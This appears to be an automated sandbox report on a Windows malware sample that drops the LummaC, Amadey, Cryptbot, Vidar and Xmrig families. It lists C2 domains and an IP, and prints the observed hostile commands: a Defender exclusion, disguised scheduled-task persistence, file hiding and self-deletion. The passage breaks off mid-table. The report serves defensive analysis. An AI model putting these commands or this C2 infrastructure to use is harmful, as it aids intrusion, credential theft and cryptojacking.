Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:	file.exe
Analysis ID:	1579113
MD5:	8d69adfe2e1db76b837405b076979809
SHA1:	b0c34909c5c70dc82384356a7a7d62877c6c82c8
SHA256:	e8b6019ff977c06318a16605f86966341131d037a9e5fa4a46e2ac8780e992c6
Tags:	exeuser-Bitsight
Infos:

Detection

LummaC, Amadey, Cryptbot, LummaC Stealer, Vidar, Xmrig

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for dropped file

Detected unpacking (changes PE section rights)

Found malware configuration

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected Amadeys stealer DLL

Yara detected Cryptbot

Yara detected LummaC Stealer

Yara detected Powershell download and execute

Yara detected Vidar stealer

Yara detected Xmrig cryptocurrency miner

AI detected suspicious sample

Adds a directory exclusion to Windows Defender

C2 URLs / IPs found in malware configuration

Drops password protected ZIP file

Found evasive API chain (may stop execution after reading information in the PEB, e.g. number of processors)

Found strings related to Crypto-Mining

Hides threads from debuggers

Injects code into the Windows Explorer (explorer.exe)

Leaks process information

Loading BitLocker PowerShell Module

LummaC encrypted strings found

Machine Learning detection for dropped file

Machine Learning detection for sample

Modifies the context of a thread in another process (thread injection)

PE file contains section with special chars

PE file has a writeable .text section

Sample uses string decryption to hide its real strings

Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet

Suspicious powershell command line found

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Uses cmd line tools excessively to alter registry or file data

Uses ping.exe to check the status of other devices and networks

Uses schtasks.exe or at.exe to add and modify task schedules

AV process strings found (often used to terminate AV products)

Allocates memory with a write watch (potentially for evading sandboxes)

Binary contains a suspicious time stamp

Checks for debuggers (devices)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Contains functionality for execution timing, often used to detect debuggers

Contains functionality to call native functions

Contains functionality to open a port and listen for incoming connection (possibly a backdoor)

Contains functionality to query CPU information (cpuid)

Contains functionality to read the PEB

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Creates job files (autostart)

Detected potential crypto function

Downloads executable code via HTTP

Dropped file seen in connection with other malware

Drops PE files

Enables debug privileges

Enables security privileges

Entry point lies outside standard sections

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

PE file contains an invalid checksum

PE file contains sections with non-standard names

Queries information about the installed CPU (vendor, model number etc)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: Powershell Defender Exclusion

Sigma detected: Suspicious Add Scheduled Task Parent

Sigma detected: Suspicious Schtasks From Env Var Folder

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Yara signature match

Classification

Process Tree

System is w10x64

file.exe (PID: 2800 cmdline: "C:\Users\user\Desktop\file.exe" MD5: 8D69ADFE2E1DB76B837405B076979809)

skotes.exe (PID: 4488 cmdline: "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe" MD5: 8D69ADFE2E1DB76B837405B076979809)

skotes.exe (PID: 1088 cmdline: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe MD5: 8D69ADFE2E1DB76B837405B076979809)

skotes.exe (PID: 5236 cmdline: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe MD5: 8D69ADFE2E1DB76B837405B076979809)

3514655e0a.exe (PID: 2812 cmdline: "C:\Users\user\AppData\Local\Temp\1018821001\3514655e0a.exe" MD5: 3A425626CBD40345F5B8DDDD6B2B9EFA)

cmd.exe (PID: 4368 cmdline: C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Local\Temp\main\main.bat" /S" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7400 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

mode.com (PID: 5360 cmdline: mode 65,10 MD5: BEA7464830980BF7C0490307DB4FC875)

7z.exe (PID: 4552 cmdline: 7z.exe e file.zip -p24291711423417250691697322505 -oextracted MD5: 619F7135621B50FD1900FF24AADE1524)

7z.exe (PID: 6804 cmdline: 7z.exe e extracted/file_7.zip -oextracted MD5: 619F7135621B50FD1900FF24AADE1524)

7z.exe (PID: 988 cmdline: 7z.exe e extracted/file_6.zip -oextracted MD5: 619F7135621B50FD1900FF24AADE1524)

7z.exe (PID: 3620 cmdline: 7z.exe e extracted/file_5.zip -oextracted MD5: 619F7135621B50FD1900FF24AADE1524)

7z.exe (PID: 6072 cmdline: 7z.exe e extracted/file_4.zip -oextracted MD5: 619F7135621B50FD1900FF24AADE1524)

7z.exe (PID: 1208 cmdline: 7z.exe e extracted/file_3.zip -oextracted MD5: 619F7135621B50FD1900FF24AADE1524)

7z.exe (PID: 3636 cmdline: 7z.exe e extracted/file_2.zip -oextracted MD5: 619F7135621B50FD1900FF24AADE1524)

7z.exe (PID: 2272 cmdline: 7z.exe e extracted/file_1.zip -oextracted MD5: 619F7135621B50FD1900FF24AADE1524)

attrib.exe (PID: 6896 cmdline: attrib +H "in.exe" MD5: 5037D8E6670EF1D89FB6AD435F12A9FD)

in.exe (PID: 7704 cmdline: "in.exe" MD5: 83D75087C9BF6E4F07C36E550731CCDE)

attrib.exe (PID: 6984 cmdline: attrib +H +S C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe MD5: 5037D8E6670EF1D89FB6AD435F12A9FD)

conhost.exe (PID: 6120 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

attrib.exe (PID: 6892 cmdline: attrib +H C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe MD5: 5037D8E6670EF1D89FB6AD435F12A9FD)

conhost.exe (PID: 7792 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

schtasks.exe (PID: 4020 cmdline: schtasks /f /CREATE /TN "Intel_PTT_EK_Recertification" /TR "C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe" /SC MINUTE MD5: 76CD6626DD8834BD4A42E6A565104DC2)

conhost.exe (PID: 7560 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 7752 cmdline: powershell ping 127.0.0.1; del in.exe MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 7492 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

PING.EXE (PID: 992 cmdline: "C:\Windows\system32\PING.EXE" 127.0.0.1 MD5: 2F46799D79D22AC72C241EC0322B011D)

5ec1855a88.exe (PID: 5872 cmdline: "C:\Users\user\AppData\Local\Temp\1018822001\5ec1855a88.exe" MD5: ECE3B1A61F2977C90820F0601637020E)

212ab81242.exe (PID: 4864 cmdline: "C:\Users\user\AppData\Local\Temp\1018823001\212ab81242.exe" MD5: 669ED3665495A4A52029FF680EC8EBA9)

343658ec78.exe (PID: 1336 cmdline: "C:\Users\user\AppData\Local\Temp\1018824001\343658ec78.exe" MD5: 04F57C6FB2B2CD8DCC4B38E4A93D4366)

conhost.exe (PID: 404 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 4256 cmdline: "powershell.exe" Add-MpPreference -ExclusionPath "C:\xxzyi" MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)

conhost.exe (PID: 1432 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

Intel_PTT_EK_Recertification.exe (PID: 3924 cmdline: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe MD5: 83D75087C9BF6E4F07C36E550731CCDE)

explorer.exe (PID: 7116 cmdline: explorer.exe MD5: 662F4F92FDE3557E86D110526BB578D5)

powershell.exe (PID: 5280 cmdline: powershell ping 127.1.10.1; del Intel_PTT_EK_Recertification.exe MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 8032 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

PING.EXE (PID: 1320 cmdline: "C:\Windows\system32\PING.EXE" 127.1.10.1 MD5: 2F46799D79D22AC72C241EC0322B011D)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Lumma Stealer, LummaC2 Stealer	Lumma Stealer (aka LummaC2 Stealer) is an information stealer written in C language that has been available through a Malware-as-a-Service (MaaS) model on Russian-speaking forums since at least August 2022. It is believed to have been developed by the threat actor "Shamel", who goes by the alias "Lumma". Lumma Stealer primarily targets cryptocurrency wallets and two-factor authentication (2FA) browser extensions, before ultimately stealing sensitive information from the victim's machine. Once the targeted data is obtained, it is exfiltrated to a C2 server via HTTP POST requests using the user agent "TeslaBrowser/5.5"." The stealer also features a non-resident loader that is capable of delivering additional payloads via EXE, DLL, and PowerShell.	No Attribution	https://0xmrmagnezi.github.io/malware%20analysis/LummaStealer/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/lummac2-breakdown#chrome-extensions-crx https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.cyble.com/2023/01/06/lummac2-stealer-a-potent-threat-to-crypto-users/ https://blog.sekoia.io/exposing-fakebat-loader-distribution-methods-and-adversary-infrastructure/	https://malpedia.caad.fkie.fraunhofer.de/details/win.lumma

Name	Description	Attribution	Blogpost URLs	Link
Amadey	Amadey is a botnet that appeared around October 2018 and is being sold for about $500 on Russian-speaking hacking forums. It periodically sends information about the system and installed AV software to its C2 server and polls to receive orders from it. Its main functionality is that it can load other payloads (called "tasks") for all or specifically targeted computers compromised by the malware.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://asec.ahnlab.com/en/36634/ https://asec.ahnlab.com/en/40483/ https://asec.ahnlab.com/en/41450/ https://asec.ahnlab.com/en/44504/	https://malpedia.caad.fkie.fraunhofer.de/details/win.amadey

Name	Description	Attribution	Blogpost URLs	Link
CryptBot	A typical infostealer, capable of obtaining credentials for browsers, crypto currency wallets, browser cookies, credit cards, and creates screenshots of the infected system. All stolen data is bundled into a zip-file that is uploaded to the c2.	No Attribution	https://any.run/cybersecurity-blog/cryptbot-infostealer-malware-analysis/ https://asec.ahnlab.com/en/24423/ https://asec.ahnlab.com/en/26052/ https://asec.ahnlab.com/en/31683/ https://asec.ahnlab.com/en/31802/	https://malpedia.caad.fkie.fraunhofer.de/details/win.cryptbot

Name	Description	Attribution	Blogpost URLs	Link
Vidar	Vidar is a forked malware based on Arkei. It seems this stealer is one of the first that is grabbing information on 2FA Software and Tor Browser.	No Attribution	https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-1-(-Unpacking-)/ https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-2/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/vidar-stealer-h-and-m-campaign https://0xtoxin.github.io/malware%20analysis/Vidar-Stealer-Campaign/ https://asec.ahnlab.com/en/22932/	https://malpedia.caad.fkie.fraunhofer.de/details/win.vidar

Name	Description	Attribution	Blogpost URLs	Link
xmrig	According to PCrisk, XMRIG is a completely legitimate open-source application that utilizes system CPUs to mine Monero cryptocurrency. Unfortunately, criminals generate revenue by infiltrating this app into systems without users' consent. This deceptive marketing method is called "bundling".In most cases, "bundling" is used to infiltrate several potentially unwanted programs (PUAs) at once. So, there is a high probability that XMRIG Virus came with a number of adware-type applications that deliver intrusive ads and gather sensitive information.	No Attribution	https://gridinsoft.com/xmrig https://www.akamai.com/blog/security-research/2024-php-exploit-cve-one-day-after-disclosure https://www.crowdstrike.com/blog/new-kiss-a-dog-cryptojacking-campaign-targets-docker-and-kubernetes/	https://malpedia.caad.fkie.fraunhofer.de/details/win.xmrig

Malware Configuration

Threatname: LummaC

{"C2 url": ["necklacebudi.lat", "treehoneyi.click", "aspecteirs.lat", "discokeyus.lat", "rapeflowwj.lat", "grannyejh.lat", "energyaffai.lat", "sustainskelet.lat", "crosshuaht.lat"], "Build id": "rAGxSF--load"}

Threatname: Vidar

{"C2 url": "http://www.microsoft.com0", "Botnet": "1402"}

Threatname: Amadey

{"C2 url": "185.215.113.43/Zu7JuNko/index.php", "Version": "4.42", "Install Folder": "abc3bc1985", "Install File": "skotes.exe"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author
dump.pcap	JoeSecurity_Cryptbot	Yara detected Cryptbot	Joe Security
sslproxydump.pcap	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
sslproxydump.pcap	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
sslproxydump.pcap	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security

Dropped Files

Source	Rule	Description	Author	Strings
C:\xxzyi\a165d57aad8045aabeccfce221a720ca.exe	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security

Memory Dumps

Source	Rule	Description	Author	Strings
0000000F.00000003.2692980967.0000000004B20000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000002A.00000002.2960214662.000000014040B000.00000004.00000001.00020000.00000000.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
00000002.00000003.2206842613.0000000004C20000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000002A.00000002.2959247337.0000000000B99000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
00000000.00000002.2207609999.00000000004F1000.00000040.00000001.01000000.00000003.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000002A.00000002.2960101679.00000001402DD000.00000002.00000001.00020000.00000000.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
00000030.00000002.3293156720.0000000003EB5000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
00000030.00000002.3293156720.0000000003FDA000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
00000003.00000003.2214730480.0000000004660000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000000F.00000002.3423913153.00000000004B1000.00000040.00000001.01000000.00000007.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000002A.00000002.2959247337.0000000000BBA000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
00000002.00000002.2247136895.00000000004B1000.00000040.00000001.01000000.00000007.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000003.00000002.2255040928.00000000004B1000.00000040.00000001.01000000.00000007.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000000.00000003.2167049824.0000000005120000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000029.00000003.2953734889.0000023AB23F0000.00000004.00000001.00020000.00000000.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
00000029.00000003.2953734889.0000023AB23F0000.00000004.00000001.00020000.00000000.sdmp	MAL_XMR_Miner_May19_1	Detects Monero Crypto Coin Miner	Florian Roth	0x325ac8:$x1: donate.ssl.xmrig.com
00000029.00000003.2953734889.0000023AB23F0000.00000004.00000001.00020000.00000000.sdmp	MALWARE_Win_CoinMiner02	Detects coinmining malware	ditekSHen	0x326778:$s1: %s/%s (Windows NT %lu.%lu 0x32a380:$s3: \\.\WinRing0_ 0x2e3f30:$s4: pool_wallet 0x2de778:$s5: cryptonight 0x2de788:$s5: cryptonight 0x2de798:$s5: cryptonight 0x2de7a8:$s5: cryptonight 0x2de7c0:$s5: cryptonight 0x2de7d0:$s5: cryptonight 0x2de7e0:$s5: cryptonight 0x2de7f8:$s5: cryptonight 0x2de808:$s5: cryptonight 0x2de820:$s5: cryptonight 0x2de838:$s5: cryptonight 0x2de848:$s5: cryptonight 0x2de858:$s5: cryptonight 0x2de868:$s5: cryptonight 0x2de880:$s5: cryptonight 0x2de898:$s5: cryptonight 0x2de8a8:$s5: cryptonight 0x2de8b8:$s5: cryptonight
Process Memory Space: Intel_PTT_EK_Recertification.exe PID: 3924	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
Process Memory Space: explorer.exe PID: 7116	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
Process Memory Space: 343658ec78.exe PID: 1336	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
Process Memory Space: 343658ec78.exe PID: 1336	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
decrypted.memstr	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security
Click to see the 17 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
0.2.file.exe.4f0000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
3.2.skotes.exe.4b0000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
15.2.skotes.exe.4b0000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
2.2.skotes.exe.4b0000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
42.2.explorer.exe.140000000.0.unpack	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
42.2.explorer.exe.140000000.0.unpack	MAL_XMR_Miner_May19_1	Detects Monero Crypto Coin Miner	Florian Roth	0x325ac8:$x1: donate.ssl.xmrig.com
42.2.explorer.exe.140000000.0.unpack	MALWARE_Win_CoinMiner02	Detects coinmining malware	ditekSHen	0x326778:$s1: %s/%s (Windows NT %lu.%lu 0x32a380:$s3: \\.\WinRing0_ 0x2e3f30:$s4: pool_wallet 0x2de778:$s5: cryptonight 0x2de788:$s5: cryptonight 0x2de798:$s5: cryptonight 0x2de7a8:$s5: cryptonight 0x2de7c0:$s5: cryptonight 0x2de7d0:$s5: cryptonight 0x2de7e0:$s5: cryptonight 0x2de7f8:$s5: cryptonight 0x2de808:$s5: cryptonight 0x2de820:$s5: cryptonight 0x2de838:$s5: cryptonight 0x2de848:$s5: cryptonight 0x2de858:$s5: cryptonight 0x2de868:$s5: cryptonight 0x2de880:$s5: cryptonight 0x2de898:$s5: cryptonight 0x2de8a8:$s5: cryptonight 0x2de8b8:$s5: cryptonight
41.3.Intel_PTT_EK_Recertification.exe.23ab23f0000.0.unpack	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
41.3.Intel_PTT_EK_Recertification.exe.23ab23f0000.0.unpack	MAL_XMR_Miner_May19_1	Detects Monero Crypto Coin Miner	Florian Roth	0x324cc8:$x1: donate.ssl.xmrig.com
41.3.Intel_PTT_EK_Recertification.exe.23ab23f0000.0.unpack	MALWARE_Win_CoinMiner02	Detects coinmining malware	ditekSHen	0x325978:$s1: %s/%s (Windows NT %lu.%lu 0x329580:$s3: \\.\WinRing0_ 0x2e3130:$s4: pool_wallet 0x2dd978:$s5: cryptonight 0x2dd988:$s5: cryptonight 0x2dd998:$s5: cryptonight 0x2dd9a8:$s5: cryptonight 0x2dd9c0:$s5: cryptonight 0x2dd9d0:$s5: cryptonight 0x2dd9e0:$s5: cryptonight 0x2dd9f8:$s5: cryptonight 0x2dda08:$s5: cryptonight 0x2dda20:$s5: cryptonight 0x2dda38:$s5: cryptonight 0x2dda48:$s5: cryptonight 0x2dda58:$s5: cryptonight 0x2dda68:$s5: cryptonight 0x2dda80:$s5: cryptonight 0x2dda98:$s5: cryptonight 0x2ddaa8:$s5: cryptonight 0x2ddab8:$s5: cryptonight
41.3.Intel_PTT_EK_Recertification.exe.23ab23f0000.0.raw.unpack	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
41.3.Intel_PTT_EK_Recertification.exe.23ab23f0000.0.raw.unpack	MAL_XMR_Miner_May19_1	Detects Monero Crypto Coin Miner	Florian Roth	0x325ac8:$x1: donate.ssl.xmrig.com
41.3.Intel_PTT_EK_Recertification.exe.23ab23f0000.0.raw.unpack	MALWARE_Win_CoinMiner02	Detects coinmining malware	ditekSHen	0x326778:$s1: %s/%s (Windows NT %lu.%lu 0x32a380:$s3: \\.\WinRing0_ 0x2e3f30:$s4: pool_wallet 0x2de778:$s5: cryptonight 0x2de788:$s5: cryptonight 0x2de798:$s5: cryptonight 0x2de7a8:$s5: cryptonight 0x2de7c0:$s5: cryptonight 0x2de7d0:$s5: cryptonight 0x2de7e0:$s5: cryptonight 0x2de7f8:$s5: cryptonight 0x2de808:$s5: cryptonight 0x2de820:$s5: cryptonight 0x2de838:$s5: cryptonight 0x2de848:$s5: cryptonight 0x2de858:$s5: cryptonight 0x2de868:$s5: cryptonight 0x2de880:$s5: cryptonight 0x2de898:$s5: cryptonight 0x2de8a8:$s5: cryptonight 0x2de8b8:$s5: cryptonight
Click to see the 8 entries

Sigma Signatures

System Summary

Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "powershell.exe" Add-MpPreference -ExclusionPath "C:\xxzyi", CommandLine: "powershell.exe" Add-MpPreference -ExclusionPath "C:\xxzyi", CommandLine|base64offset|contains: ~2yzw, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Users\user\AppData\Local\Temp\1018824001\343658ec78.exe" , ParentImage: C:\Users\user\AppData\Local\Temp\1018824001\343658ec78.exe, ParentProcessId: 1336, ParentProcessName: 343658ec78.exe, ProcessCommandLine: "powershell.exe" Add-MpPreference -ExclusionPath "C:\xxzyi", ProcessId: 4256, ProcessName: powershell.exe

Sigma detected: Powershell Defender Exclusion

Source: Process started

Sigma detected: Suspicious Add Scheduled Task Parent

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: schtasks /f /CREATE /TN "Intel_PTT_EK_Recertification" /TR "C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe" /SC MINUTE, CommandLine: schtasks /f /CREATE /TN "Intel_PTT_EK_Recertification" /TR "C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe" /SC MINUTE, CommandLine|base64offset|contains: mj,, Image: C:\Windows\System32\schtasks.exe, NewProcessName: C:\Windows\System32\schtasks.exe, OriginalFileName: C:\Windows\System32\schtasks.exe, ParentCommandLine: "in.exe" , ParentImage: C:\Users\user\AppData\Local\Temp\main\in.exe, ParentProcessId: 7704, ParentProcessName: in.exe, ProcessCommandLine: schtasks /f /CREATE /TN "Intel_PTT_EK_Recertification" /TR "C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe" /SC MINUTE, ProcessId: 4020, ProcessName: schtasks.exe

Sigma detected: Suspicious Schtasks From Env Var Folder

Source: Process started

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell ping 127.0.0.1; del in.exe, CommandLine: powershell ping 127.0.0.1; del in.exe, CommandLine|base64offset|contains: ^, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "in.exe" , ParentImage: C:\Users\user\AppData\Local\Temp\main\in.exe, ParentProcessId: 7704, ParentProcessName: in.exe, ProcessCommandLine: powershell ping 127.0.0.1; del in.exe, ProcessId: 7752, ProcessName: powershell.exe

Suricata Signatures

ET JA3 Hash - Possible Malware - Fake Firefox Font Update

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-20T21:12:01.738832+0100	2028371	3	Unknown Traffic	192.168.2.6	50067	104.21.21.99	443	TCP
2024-12-20T21:13:46.905981+0100	2028371	3	Unknown Traffic	192.168.2.6	49950	104.21.91.209	443	TCP
2024-12-20T21:13:49.333536+0100	2028371	3	Unknown Traffic	192.168.2.6	49958	104.21.91.209	443	TCP
2024-12-20T21:14:16.905034+0100	2028371	3	Unknown Traffic	192.168.2.6	50038	104.21.21.99	443	TCP
2024-12-20T21:14:18.899693+0100	2028371	3	Unknown Traffic	192.168.2.6	50059	104.21.21.99	443	TCP

ET MALWARE Lumma Stealer CnC Host Checkin

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-20T21:13:48.314827+0100	2054653	1	A Network Trojan was detected	192.168.2.6	49950	104.21.91.209	443	TCP
2024-12-20T21:14:17.655260+0100	2054653	1	A Network Trojan was detected	192.168.2.6	50038	104.21.21.99	443	TCP
2024-12-20T21:14:19.889975+0100	2054653	1	A Network Trojan was detected	192.168.2.6	50059	104.21.21.99	443	TCP

ET MALWARE Lumma Stealer Related Activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-20T21:13:48.314827+0100	2049836	1	A Network Trojan was detected	192.168.2.6	49950	104.21.91.209	443	TCP
2024-12-20T21:14:17.655260+0100	2049836	1	A Network Trojan was detected	192.168.2.6	50038	104.21.21.99	443	TCP

ET MALWARE Lumma Stealer Related Activity M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-20T21:14:19.889975+0100	2049812	1	A Network Trojan was detected	192.168.2.6	50059	104.21.21.99	443	TCP

ET MALWARE Observed Win32/Lumma Stealer Related Domain (discokeyus .lat in TLS SNI)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-20T21:12:01.738832+0100	2058361	1	Domain Observed Used for C2 Detected	192.168.2.6	50067	104.21.21.99	443	TCP
2024-12-20T21:14:16.905034+0100	2058361	1	Domain Observed Used for C2 Detected	192.168.2.6	50038	104.21.21.99	443	TCP
2024-12-20T21:14:18.899693+0100	2058361	1	Domain Observed Used for C2 Detected	192.168.2.6	50059	104.21.21.99	443	TCP

ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-20T21:13:22.231814+0100	2044696	1	A Network Trojan was detected	192.168.2.6	49879	185.215.113.43	80	TCP
2024-12-20T21:13:34.543826+0100	2044696	1	A Network Trojan was detected	192.168.2.6	49915	185.215.113.43	80	TCP
2024-12-20T21:13:42.449430+0100	2044696	1	A Network Trojan was detected	192.168.2.6	49937	185.215.113.43	80	TCP
2024-12-20T21:13:47.854673+0100	2044696	1	A Network Trojan was detected	192.168.2.6	49951	185.215.113.43	80	TCP
2024-12-20T21:14:00.206964+0100	2044696	1	A Network Trojan was detected	192.168.2.6	49986	185.215.113.43	80	TCP
2024-12-20T21:14:08.976461+0100	2044696	1	A Network Trojan was detected	192.168.2.6	50011	185.215.113.43	80	TCP

ET MALWARE Win32/Cryptbotv2 CnC Activity (POST) M4

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-20T21:14:10.345361+0100	2054350	1	A Network Trojan was detected	192.168.2.6	50019	185.121.15.192	80	TCP
2024-12-20T21:14:13.954272+0100	2054350	1	A Network Trojan was detected	192.168.2.6	50027	185.121.15.192	80	TCP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (discokeyus .lat)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-20T21:14:15.241139+0100	2058360	1	Domain Observed Used for C2 Detected	192.168.2.6	59275	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (grannyejh .lat)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-20T21:14:15.007025+0100	2058364	1	Domain Observed Used for C2 Detected	192.168.2.6	60114	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (sweepyribs .lat)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
